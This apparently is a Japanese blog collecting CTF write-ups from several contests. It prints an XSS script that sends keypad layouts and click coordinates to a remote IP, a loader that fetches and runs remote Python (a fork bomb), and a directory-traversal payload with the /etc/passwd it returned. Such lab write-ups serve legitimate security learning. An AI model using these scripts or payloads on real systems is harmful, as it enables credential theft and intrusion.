Bob's Friend と名乗る人物が Bob に「銀行のあのページ見た?」とリンクに誘導する HTML メールを送りつけます。実はこのリンクには XSS を利用した細工が施されています。

リンク先は、下のようなウェブページになっています。ボタンを使って、ユーザー名とパスワードを入力することが可能で、数字の配列は毎回ランダムに配置されます。

Our bank is yours

そしてリンクの XSSスクリプトの部分だけ抜き出すと、次のようになっています。

setTimeout("sendmap();",1000);
document.body.addEventListener("click", clickdone, false);
function sendmap(){
    var buttons=document.getElementsByClassName("keypadButtonStyle");
    var keymap="";
    for(var i=0; i<buttons.length; i++) {
        keymap += buttons[i].value;
    }
    var xmlhttp=new XMLHttpRequest();
    xmlhttp.open("GET","http://95.211.102.232:8080/c.php?t=m&v="+keymap,false);
    xmlhttp.send();
}
function clickdone(e) {
    var xPosition=e.clientX;
    var yPosition=e.clientY;
    var xmlhttp=new XMLHttpRequest();
    xmlhttp.open("GET", "http://95.211.102.232:8080/c.php?t=c&v="+xPosition+","+yPosition, false);
    xmlhttp.send();
}

要するに、ページを開いた時に数字の配列の順を Bob's Friend のサーバに送り Bob がマウスをクリックする度にその座標を Bob's Friend のサーバーに送っています。

さて、キャプチャファイルの方を見返してみると Bob はまんまとリンクに誘導され、ログインを試みていることがわかります。つまり、数字の配列とマウスの座標の情報が次々と Bob's Friend の元に送られているのです。あとは、キャプチャファイルの情報を元に、操作を復元するだけです。

まず、数字の配列は次のようになっています。

4 1 6
3 7 0
8 9 5
2 B-S

また、操作の座標をプロットしてみると、次のようになっていることがわかります。

数字の配置

このことから Bob のユーザー名とパスワードはそれぞれ 615344793162305 (1と6の間をクリックしたのは失敗みたい) であることがわかります。これを入力してフラグを得ます。

Didn't I say that our bank is yours?

Flag: 1bcef0620c8505a894fa61d911029c07

Secure Coding (2) (secure-coding, 200 pt)

Secure Coding 第2弾です。前回と違い VC++ 特有の関数が含まれており gcc ではコンパイルできないプログラムだったため、直してはサーバーに投げ、直してはサーバーに投げ、…とやっていました。

脆弱性は、結構あった気がするのですが、投げても反応のない脆弱性もあって、よくわからなかったという感じです。直した脆弱性は、

  • ユーザ入力値 size 変数によりメモリの動的確保を行うが、これが負値のときの処理が行われていない
  • size がでかすぎるなどで、メモリの動的確保を失敗したときの処理が行われていない
  • 動的確保したメモリの解放のタイミングがおかしい
  • 文字列を上書きする位置 offset がでかすぎるときの処理は行われているが、負値のときの処理が行われておらず、バッファオーバーフローが可能
  • _snprintf とかいう VC++ の関数で format string attack が可能
  • scanf により tmp に対してバッファオーバーフローが可能 (採点外?)

といったところです。次のコードを投げたら通りました。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void safefree(char **ptr) {
    if (*ptr != NULL) {
        free(*ptr);
        *ptr = NULL;
    }
}

int main() {
    char tmp[51];
    printf("Line Editor\n");
    printf("-----------\n\n");
    int size;
    printf("Line size: ");
    scanf("%d", &size);
    if (size < 0) {
        return -14;
    }
    gets_s(tmp, sizeof(tmp));
    char *line = (char *)malloc(size + 1);
    if (!line) {
        return -14;
    }
restart:
    line[0] = 0;
    while (1) {
        printf("Enter the offset (or \"quit\"): ");
        gets_s(tmp, sizeof(tmp));
        if (!strcmp(tmp, "quit")) {
            printf("OUTPUT LINE: %s\n\n", line);
            break;
        }
        int offset = atoi(tmp);
        if (offset <= 0 || offset - 1 > (int)strlen(line)) {
            printf("ERROR\n");
            continue;
        }
        printf("Enter the text: ");
        gets_s(tmp, sizeof(tmp));
        strncpy(line + (offset - 1), tmp, size - (offset - 1) + 1);
        if (size - (offset - 1) < strlen(tmp)) {
            printf("ERROR\n");
            line[size] = 0;
            continue;
        }
    }
    printf("Restart (y/n): ");
    scanf("%50s", tmp);
    if (tmp[0] == 'y') {
        gets_s(tmp, sizeof(tmp));
        goto restart;
    }
    safefree(&line);
    return -14;
}

得られたフラグは 57ba58587f972a80c12b5f590078270c

Commercial Application!

apk ファイルが与えられ、アプリケーションのシリアルナンバーを探す問題です。

dex2jarjad を使ってデコンパイルして読み進めると、シリアルナンバーが AES/CBC/PKCS5Padding で暗号化されていることがわかります。ここで使われている IV や暗号キーを使って暗号を解きます。

#!/usr/bin/env python3

import codecs
import Crypto.Cipher.AES

def decrypt(cipher, key, iv):
    aes = Crypto.Cipher.AES.new(key, Crypto.Cipher.AES.MODE_CBC, iv)
    data = aes.decrypt(cipher)
    return data[:-data[-1]].decode()

def main():
    iv = b'a5efdbd57b84ca36'
    key = codecs.decode('37eaae0141f1a3adf8a1dee655853714', 'hex_codec')
    cipher = codecs.decode('29a002d9340fc4bd54492f327269f3e051619b889dc8da723e135ce486965d84',
                           'hex_codec')
    plaintext = decrypt(cipher, key, iv)
    print (plaintext)

if __name__ == '__main__':
    main()

これを実行して fl-ag-IS-se-ri-al-NU-MB-ER

感想

やっぱりたくさんの問題を解いたときの気分は最高ですね!!!

CSAW CTF 2014 Qualification Round に参加しました

CTF

今年の CSAW CTF は、参加できる時間が限られていたので、基本に忠実にやりました。結局、あまり解けなかったのですが、折角なので writeup を書きます。

bo (exploitation, 100 pt)

基本に忠実に文字列検索です。

$ strings bo | grep flag\{
flag{exploitation_is_easy!}

eggshells (Reverse Engineering, 100 pt)

基本に忠実に文字列検索です。

$ strings utils.pyc
urllib2s
http://kchung.co/lol.pyN(
__import__t
urlopent
read(
/Users/kchung/Desktop/CSAW Quals 2014/rev100/utils.pyt
<module>

気づかなかった場合は pycdc という便利ツールを使います。

$ pycdc utils.pyc
# Source Generated with Decompyle++
# File: utils.pyc (Python 2.7)

exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()

いずれにしろ気づいてしまえば、素直にスクリプトをダウンロードするだけです。

$ curl http://kchung.co/lol.py
import os
while True:
    try:
        os.fork()
    except:
        os.system('start')
# flag{trust_is_risky}

dumpster diving (Forensics, 100 pt)

基本に忠実に文字列検索です。

$ strings firefox.mem | grep flag\{
ZZZZZZZZflag{cd69b4957f06cd818d7bf3d61980e291}

Obscurity (Forensics, 200 pt)

基本に忠実に文字列検索をやりますが PDF は圧縮されているのでテキストを抜き出す便利ツールを使います。

$ pdftotext pdf.pdf - | grep '\{'
  ag{security_through_obscurity}   

もしくは、基本に忠実に、リンク隠しの要領で PDF を全選択します。

http://cdn-ak.f.st-hatena.com/images/fotolife/s/saltcandy123/20140924/20140924225928.png

Shameless plug (Trivia, 10 pt)

基本に忠実にググります。 USENIX workshop education

基本に忠実にそれっぽい答えをサブミットしまくります。 答えは 3GSE です。

Twitter will you give me @kchung? (Trivia, 10 pt)

基本に忠実にスタッフ紹介のページを見ると、答えが書いてあります。 poopsec

まとめ

大変残念な writeup が書き上がりましたが、もちろん、こんなに簡単に答えにたどり着いたわけではありません。つまり、色んな紆余曲折があったわけですが、答えを知った上でやり直してみると、簡単な問題はこんなにも簡単なのだな、という感じがします。

難しい問題にチャレンジすることは、もちろん重要だと思いますし、素晴らしい経験になると思います。しかし、競技として CTF を見た場合、簡単な問題をすらすら解ける能力というのも、大事であるように思われます。今後は、簡単な問題をすらすら解いて、難しい問題に時間を割けるようになりたいと思います。

tkbctf3 に参加しました

CTF

tkbctf は2回目の挑戦です。前回の挑戦では全然問題が解けず、ただただつらい思いをしていたので、戦々恐々としていたのですが、今回は何問か解けたのでよかったです。個性的で好感のもてる問題がいくつかあったので、よい出会いをしました。

解いた問題の Writeup

Our Future (Network 100)

指定された URL にアクセスしたらフラグが出てきました。 IPv6 でアクセスするとフラグが出るようです。

InexhaustibleEnergy

The Deal (Crypto 200)

ウェブ上で動作する暗号化ツールと暗号化されたメッセージが与えられるので、解読する問題です。

とりあえず、暗号化ツールで遊んでみました。テキストとパスワードを入力すると暗号化されます。暗号文は 9.338.244.107.131.216 のような形式で、同じテキストとパスワードの組み合わせを入れても、結果は毎回変わります。

この暗号器で遊んでみた結果、この暗号法は次の手順によって行われていることがわかりました。

  1. パスワードの各文字に対応する ASCII コードを足し合わせる。
  2. テキストの各文字を ASCII コードに直し、それぞれにパスワードを変換した数を足す。
  3. 変換した列の各項に対して、足してその項になるように適当な2数に分割する。

例えば、テキスト text とパスワード pass の組み合わせでは、次のように暗号化します。

  1. パスワードの変換: pass → 112+97+115+115 = 439
  2. 暗号化: text[116, 101, 120, 116][555, 540, 559, 555]
  3. 分割: [555, 540, 559, 555]319.236.526.14.228.331.410.145

復号はこの逆の操作を行えばよいのですが、パスワードを変換した数が分からないので、総当りします。総当りは ASCII コードが負にならない範囲で行うことで、抑えることができます。総当りした結果、印字可能な文字のみで構成されている文字列を候補として出力します。

#!/usr/bin/env python3

import string

def decode(cipher_text):
    twice = [int(x) for x in cipher_text.split('.')]
    return [twice[i]+twice[i+1] for i in range(0, len(twice), 2)]

def decrypto(cipher, n):
    codes = [x-n for x in cipher]
    if all(0 <= x < 256 for x in codes):
        s = ''.join(chr(x) for x in codes)
        if all(c in string.printable for c in s):
            return s
    return None

def main():
    with open('email_body_ciphertext.txt') as f:
        cipher_text = f.read()
    cipher = decode(cipher_text)
    for n in range(min(cipher)+1):
        s = decrypto(cipher, n)
        if s is not None:
            print('# n = {0}'.format(n))
            print(s)
            print()

if __name__ == '__main__':
    main()

これを実行すると、フラグが現れます。

# n = 872
...

# n = 873
Dear Dr. Cooper,

Thank you very much for your hostpitality granting me the grade for Linear Algebra I.
I was bad at it so much that it has hindered me graduating for years.
As we agreed, I'm going to pay you $5,000 in check for the extra credit. It's inside the envelope, between the two report sheets.
Once again, thank you very much. It's such a relief.
KEY{FreePizza!ComeAndGetIt}

Sincerly,
Eric Grimm

Real World TeX (Misc 100)

奇妙な文字列が記されたファイル real-world.tex が問題です。冒頭はこんな感じです。

^^5c^^66^^75^^74^^75^^72^^65^^6c^^65^^74^^7e ^^5c^^63^^61^^74^^63^^6f^^64^^65^^60K7
KK5cKK65KK6eKK64KK6cKK69KK6eKK65KK63KK68KK61KK72- KK5cKK73KK74KK72KK69KK6eKK67KK60
KK7eKK60I13KK7eKK60G10KK5cKK6cKK65KK74 IKK7eI86G10I83G7I72G1I90V0I78V2I80G6I82G5
I13G9I76G13ZKK6cKK65KK74GLZKK6cKK65KK74I65G13LZSS46ZKK66SS6fKK6eKK74VLZSS54ZSS6dSS61SS67KK73KK74SS65KK70V
...

よく見ると、2桁の16進数がかなり含まれていることがわかります。そこで、16進数の部分だけ抽出してみると、なんとなく TeX のような文字列が確認できたので、非16進数の部分を勘で適当な文字に置換したりすると、こんな感じになりました。

...
and partly  a basic set 
of given things.'' \vskip 10pt 
 \sc\catcode`I12 AsIAimm is  
the  \bf keyword of this question! 
\newwrite\a\relax 
...

なんとなくそれっぽくなったので、コンパイルしてみようとしましたが、エラーが出てできませんでした。そこで ^^hh (hh は16進数) を ASCII に変換して、他は何も変換しないでコンパイルしてみると、うまくいきました。

出力された DVI ファイルを開くと1つめのフラグが書いてありました。

"Most programming language are partly a way of expressing things in terms of other things and
partly a basic set of given things."

ISMIM is the keyword of this question!

2つめはどこだろうと何がコンパイルされたのか確認すると、索引ファイルも出力されていました。その中に2つめのフラグがありました。

Land1n is another keyword!
追記

今回はファイルに対して処理を行いましたが、与えられたファイルをそのままコンパイルすればよかったようです。

15-Puzzle (Misc 250)

15-Puzzle の最短手順回数を求める問題です。

かっこいい方法を思いつかなかったので BFS な探索をすることにしました。ただし、上にスライドした後下にスライドして元に戻す、という無駄な操作を排除するために探索を行った状態は省くようにしました。

#!/usr/bin/env python3

import re
import telnetlib

FINISHED = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 0)

def move(board):
    width = 4
    height = 4
    i = board.index(0)
    r = i%width
    if i >= width:
        # down
        upper = i-width
        b = board[:upper]+board[i:i+1]+board[upper+1:i]
        b += board[upper:upper+1]+board[i+1:]
        yield b
    if i < width*(height-1):
        # up
        lower = i+width
        b = board[:i]+board[lower:lower+1]+board[i+1:lower]
        b += board[i:i+1]+board[lower+1:]
        yield b
    if r != 0:
        # to right
        left = i-1
        yield board[:left]+board[i:i+1]+board[left:left+1]+board[i+1:]
    if r != width-1:
        # to left
        right = i+1
        yield board[:i]+board[right:right+1]+board[i:i+1]+board[right+1:]

def solve(board):
    board_queue = [(0, board)]
    archives = {board}
    old_count = 0
    while len(board_queue) > 0:
        count, board = board_queue.pop(0)
        if count > old_count:
            old_count = count
        count += 1
        for new_board in move(board):
            if new_board in archives:
                continue
            if new_board == FINISHED:
                return count
            board_queue.append((count, new_board))
            archives.add(new_board)
    return -1

def main():
    tn = telnetlib.Telnet('203.178.132.117', 3939)
    while True:
        while True:
            s = tn.expect([re.compile(b'.*\n')])[2].decode()
            print(s, end='')
            if s.startswith('#'):
                break
        lines = [tn.read_until(b'\n').decode() for i in range(4)]
        for i in range(4):
            print(lines[i], end='')
        board = tuple(int(x) for s in lines for x in s.strip().split())
        n = solve(board)
        if n < 0:
            output = 'NO\n\n'
        else:
            output = '{0}\n\n'.format(n)
        tn.write(output.encode())
        print(output, end='')

if __name__ == '__main__':
    main()

ナイーブな方法のため、手順が多くなると遅くなってタイムアウトしてしまいます。また、ごく稀に Wrong Answer が返されます。こんな方法ですが、何回か試したら、フラグが出てきました。

Welcome. We are the fafrotskies.
Your answers must be terminated by an empty line, don't forget!

===== 15-Puzzle =====
Solve 15-Puzzle!
The four lines make one set of input.
Zero denotes the missing tile.
If the input puzzle is solvable then print the number of the shortest steps to solve the puzzle.
If the puzzle is not solvable then print the line "NO".


Stage #1
Enjoy!
#1
1 2 3 4
5 6 7 8
9 0 11 12
13 10 14 15
3

Stage 1 cleared.
Stage #2
The 2nd stage!
#1
1 3 7 4
5 2 11 8
9 6 0 12
13 10 14 15
8

#2
1 3 7 4
5 2 11 8
9 6 0 12
13 10 14 15
8

Stage 2 cleared.

...


Stage 4 cleared.

Stage #5

The LAST stage!

...

#5

1 2 4 8
5 11 6 3
9 0 7 12
13 10 14 15
# Solving
11

Complete! Flag is FLAG{N0_R4M3N_N0_L1F3!!}

miocat (Web 250)

ウェブアプリケーションが問題です。

URL を入力すると何かをしてくれるアプリケーションらしいので URL を入力してみます。

  • http://www.google.com/ と入力すると Error: NameResolutionFailure と返ってきます。
  • http://localhost/ と入力すると Error: ConnectFailure (Connection refused) と返ってきます。
  • test と入力すると not acceptable. と返ってきます。

厄介です。どんなアプリケーションなのか全然わかりません。

とりあえず、取っ掛かりがほしいのでいろんなことを試してみました。メソッドを変えてみたり、パラメータに変な文字列を入れてみたり。でも特徴的な挙動はしません。

もう嫌になってきたので http:/// と入力したら Could not find a part of the path "/home/miocat/http:/". と返ってきました。そこで http://////aaaaa///////b と入力してみると Could not find a part of the path "/home/miocat/http:/aaaaa/b". と返ってきました。

おそらく、複数の連続するスラッシュを1つにまとめているようなので http://../../../etc/passwd としてみるとディレクトリトラバーサルが成功しました。

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
syslog:x:102:105::/home/syslog:/bin/false
miocat:x:1001:1001:Miocat,,,Read /home/miocat/flag:/home/miocat:/bin/bash
chris:x:1000:1000::/home/chris:/bin/bash

このファイルの指示にしたがって、 http://../flag としてみるとフラグが表示されました。

 flag: ElizabethDoesntSayLazy